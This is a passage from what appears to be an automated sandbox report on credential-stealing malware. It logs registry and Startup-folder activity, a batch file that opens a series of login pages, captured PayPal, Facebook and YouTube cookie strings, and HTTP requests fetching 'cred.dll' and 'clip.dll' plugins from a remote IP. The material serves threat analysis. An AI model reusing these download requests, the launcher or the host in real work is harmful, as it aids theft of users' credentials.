/gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "Keep" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "User" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "ocsp" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog" Contains base64 string in header "goog" in header "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEGAy%2Fdiu84vFCW7%2FIayIdNI%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.pki.goog"56:Tadc,"explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "explothe.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E29AC6C2-7037-11DE-816D-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "6NB6dz2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "ENABLEDHCP"; Value: "") "6NB6dz2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTRATIONENABLED"; Value: "") "6NB6dz2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "REGISTERADAPTERNAME"; Value: "") "6NB6dz2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DOMAIN"; Value: "") "6NB6dz2.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{90A066FE-591C-47F3-850D-9644B684FBA5}"; Key: "DHCPDOMAIN"; Value: "")57:T4ee,"5Sq0QJ6.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLOTHE.EXE") "5Sq0QJ6.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\EXPLOTHE.EXE") "explothe.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\SCHTASKS.EXE") "explothe.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\CMD.EXE") "explothe.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RUNDLL32.EXE") "explothe.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\RUNDLL32.EXE") "cmd.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "USESHORTNAME") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "APPENDPATH") "cmd.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APP PATHS\IEXPLORE.EXE"; Key: "PATH")58:T618,":\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001296.00000000.67032.00340000.00000004.mdmp 00000000-00001296.00000001.68952.00340000.00000004.mdmp 00000000-00001296.00000002.70870.00340000.00000004.mdmp ":\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: ":\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001296.00000000.67032.00340000.00000004.mdmp 00000000-00001296.00000001.68952.00340000.00000004.mdmp 00000000-00001296.00000002.70870.00340000.00000004.mdmp "C:\Users\HAPUBWS\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\users\hapubws\appdata\roaming\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001296.00000000.67032.00340000.00000004.mdmp 00000000-00001296.00000000.67032.006B0000.00000002.mdmp 00000000-00001296.00000001.68952.00340000.00000004.mdmp 00000000-00001296.00000002.70870.00340000.00000004.mdmp "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\desktop.ini" (Indicator: "c:\programdata\microsoft\windows\start menu\programs\startup\desktop.ini") in Source: 00000000-00001296.00000000.67032.00340000.00000004.mdmp 00000000-00001296.00000000.67032.006B0000.00000002.mdmp 00000000-00001296.00000001.68952.00340000.00000004.mdmp 00000000-00001296.00000002.70870.00340000.00000004.mdmp59:Tcd1,Found string "https://www.facebook.com/login" (Indicator: "facebook.com"; File: "e410310c63297392eb3ce82844bfe3e7.exe") Found string "https://twitter.com/i/flow/login" (Indicator: "twitter"; File: "e410310c63297392eb3ce82844bfe3e7.exe") file/memory contains long string with (Indicator: "facebook.com"; File: "228F.bat") file/memory contains long string with (Indicator: "paypal"; File: "O169AKP5.txt") file/memory contains long string with (Indicator: "paypal"; File: "YX98041J.txt") file/memory contains long string with (Indicator: "paypal"; File: "NMDMNY4L.txt") file/memory contains long string with (Indicator: "paypal"; File: "8EMNU32Q.txt") file/memory contains long string with (Indicator: "paypal"; File: "ICLUC4R2.txt") file/memory contains long string with (Indicator: "paypal"; File: "2LP2P686.txt") file/memory contains long string with (Indicator: "paypal"; File: "HYOZYIX8.txt") file/memory contains long string with (Indicator: "paypal"; File: "WZ4G9JFX.txt") file/memory contains long string with (Indicator: "paypal"; File: "9DIEGUZ0.txt") file/memory contains long string with (Indicator: "youtube"; File: "V9KH39S0.txt") file/memory contains long string with (Indicator: "paypal"; File: "GIT6QW0I.txt") file/memory contains long string with (Indicator: "youtube"; File: "css_2_.css") file/memory contains long string with (Indicator: "facebook.com"; File: "JTWLHLC4.txt") Found string "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959" (Indicator: "paypal"; File: "BMDJ1D4E.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217222464614431069736411066328031066965VISITOR_INFO1_LIVEBoBwdbihWIYyoutube.com/92178676352031103130411097578031066965" (Indicator: "youtube"; File: "5AO0TSUX.txt") Found string "0ozbQazH9UTqqwt9V..BlP5nT.bq.AAA.0.0.BlP5nT.AWWyoQaHmpEfacebook.com/921741546248963108502442455311353106694805k_ZVYfEDgJQuQlVIHl_mRqfacebook.com/921714041117443114738625998180931066949" (Indicator: "facebook.com"; File: "DUXF8ZPA.txt") Found string "CONSENTWP.2676bayoutube.com/102431383388163210825482504061830633367hideBrowserUpgradeBoxtrueyoutube.com/9217222464614431069736411066328031066965" (Indicator: "youtube"; File: "FHQ7Q7PP.txt") Found string "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959" (Indicator: "paypal"; File: "QFTZH34Z.txt") Found string "CheckConnectionTempCookie755477832accounts.youtube.com/accounts/2147484752172889254431066961164364184031066961" (Indicator: "youtube"; File: "WG7GQ0KD.txt") Found string "0ozbQazH9UTqqwt9V..BlP5nT.bq.AAA.0.0.BlP5nT.AWWyoQaHmpEfacebook.com/9217415462489631085024424553113531066948" (Indicator: "facebook.com"; File: "FVUULMMT.txt") Found string "CheckConnectionTempCookie336746824accounts.youtube.com/accounts/2147484752235915417631066969226119253331066969" (Indicator: "youtube"; File: "5GJEH7K1.txt") Found string "enforce_policyccpapaypal.com/102525788428803114034599738893131066959" (Indicator: "paypal"; File: "NKWAYMAF.txt")5a:T2e42,"@shift /0start "" https://accounts.google.comstart "" https://www.facebook.com/loginstart "" https://accounts.google.comstart "" https://store.steampowered.com/login/start "" https://twitter.com/i/flow/loginstart "" https://steamcommunity.com/openid/loginform/start "" https://www.epicgames.com/id/loginstart "" https://www.paypal.com/signinstart "" https://www.youtube.comstart "" https://accounts.google.com" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793361394%26vteXpYrS%3D1698668794%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217233645798431287196220645143131066959ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025233645798431287196220645143131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275020%26vteXpYrS%3D1698668820%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217259645798431287196319491963931066964ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025257645798431287196288266963931066964" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275018%26vteXpYrS%3D1698668818%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217257645798431287196258170088931066964ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025233645798431287196220645143131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275020%26vteXpYrS%3D1698668820%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217259645798431287196319491963931066964ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025259645798431287196350466963931066964" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275018%26vteXpYrS%3D1698668818%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217257645798431287196258170088931066964ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025257645798431287196288266963931066964" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275022%26vteXpYrS%3D1698668822%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/921726164579843128719675782734231066965ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/1025259645798431287196381445870131066964" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793275022%26vteXpYrS%3D1698668822%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/921726164579843128719675782734231066965ts_cvr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54aepaypal.com/102526164579843128719675798359231066965" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959vreXpYrS%3D1793361394%26vteXpYrS%3D1698668794%26vr%3D80715b3c18b0a79808a19deefd5b54af%26vt%3D80715b3c18b0a79808a19deefd5b54ae%26vtyp%3Dnewpaypal.com/9217233645798431287196220645143131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959tsrceunifiedloginnodewebpaypal.com/9217267727219231067523220613893131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959LANGen_US%3BUSpaypal.com/9217257993907231066993190767018131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959d_idae233135ffd04b49b14b059502db8e2e1698666994537paypal.com/9217146534771231801778190642018131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959cookie_checkpaypal.com/9217146534771231801778190610768131066959" (Indicator: "paypal.com") "enforce_policyccpapaypal.com/102525788428803114034599738893131066959" (Indicator: "paypal.com") "GET /signin HTTP/1.1Accept: text/html, application/xhtml+xml, */*Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypal.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "rotection: 1; mode=blockDC: ccg11-origin-www-1.paypal.comAccept-Ranges: bytesVia: 1.1 varnish, 1.1 varnish, 1.1 varnishDate: Mon, 30 Oct 2023 11:56:34 GMTStrict-Transport-Security: max-age=63072000; includeSubDomains; preloadX-Served-By: cache-bur-kbur8200046-BUR, cache-sjc10026-SJC, cache-sjc10026-SJCX-Cache: MISS, MISS, MISSX-Cache-Hits: 0, 0, 0X-Timer: S1698666994.470829,VS0,VE131Vary: Accept-EncodingServer-Timing: "traceparent;desc="00-0000000000000000000f457761abc2e3-eb11805fb572179e-01"";content-encoding;desc="gzip",x-cdn;desc="fastly"transfer-encoding: chunked" (Indicator: "paypal.com") "GET /web/res/ea6/6912cec4d3b20a4b4885100ee0ff3/js/lib/fn-sync-telemetry-min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /images/shared/icon-PN-check.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /webcaptcha/ngrlCaptcha.min.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/ea6/6912cec4d3b20a4b4885100ee0ff3/css/contextualLoginElementalUIv2.css HTTP/1.1Accept: text/css, */*Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/ea6/6912cec4d3b20a4b4885100ee0ff3/js/signin-split.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /pa/js/min/pa.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /images/shared/glyph_alert_critical_big-2x.png HTTP/1.1Accept: image/png, image/svg+xml, image/*;q=0.8, */*;q=0.5Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "GET /web/res/ea6/6912cec4d3b20a4b4885100ee0ff3/js/lib/modernizr-2.6.1.js HTTP/1.1Accept: application/javascript, */*;q=0.8Referer: https://www.paypal.com/signinAccept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: www.paypalobjects.comDNT: 1Connection: Keep-Alive" (Indicator: "paypal.com") "HTTP/1.1 200 OKContent-Encoding: gzipAccept-Ranges: bytesAccess-Control-Allow-Headers: x-csrf-tokenAccess-Control-Allow-Methods: GETAccess-Control-Allow-Origin: *Cache-Control: s-maxage=31536000, public,max-age=3600Content-Type: application/javascriptDate: Mon, 30 Oct 2023 11:56:49 GMTDC: ccg11-origin-www-1.paypal.comEtag: "653774ca-10f45+gzip"Expires: Mon, 30 Oct 2023 12:56:49 GMTLast-Modified: Tue, 24 Oct 2023 07:39:54 GMTPaypal-Debug-Id: 3cd376b88697eServer: ECAcc (sac/2533)Strict-Transport-Security: max-age=63072000; includeSubDomains; preloadTiming-Allow-Origin: https://www.paypal.com,https://www.sandbox.paypal.comTraceparent: 00-00000000000000000003cd376b88697e-2addfb4d360d3ebb-01Vary: Accept-EncodingX-Cache: HITX-Content-Type-Options: nosniffContent-Length: 25375" (Indicator: "paypal.com")5b:T30a7,"GET /theme/Plugins/cred.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 404 Not Found Date: Mon 30 Oct 2023 11:55:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 273 Content-Type: text/html; charset=iso-8859-1 with response body ==>3C21444F43545950452048544D4C205055424C494320222D2F2F494554462F2F4454442048544D4C20322E302F2F454E223E0A3C68746D6C3E3C686561643E0A....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 77.91.124.1" Response ==> HTTP/1.1 200 OK Date: Mon 30 Oct 2023 11:55:15 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat 30 Sep 2023 10:50:50 GMT ETag: "16400-60691507c4d20" Accept-Ranges: bytes Content-Length: 91136 Content-Type: application/x-msdos-program with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000....... "GET /gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 1445 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:26:17 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1783 with response body ==>308205A10A0100A082059A3082059606092B0601050507300101048205873082058330819EA2160414D49BADF2AB3CB9FF1A3E0C506DCF192780868DAA180F32....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:25:07 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1857 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEBde13xIZENXEmRaEb4JXwU%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Mon 30 Oct 2023 11:54:04 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 123 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 30 Oct 2023 11:29:46 GMT Expires: Mon 30 Oct 2023 12:19:46 GMT Cache-Control: public max-age=3000 Age: 1581 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/fVJxbV-Ktmk.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 11341 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon 30 Oct 2023 11:55:01 GMT Expires: Mon 30 Oct 2023 12:45:01 GMT Cache-Control: public max-age=3000 Last-Modified: Mon 30 Oct 2023 08:12:38 GMT Content-Type: application/pkix-crl 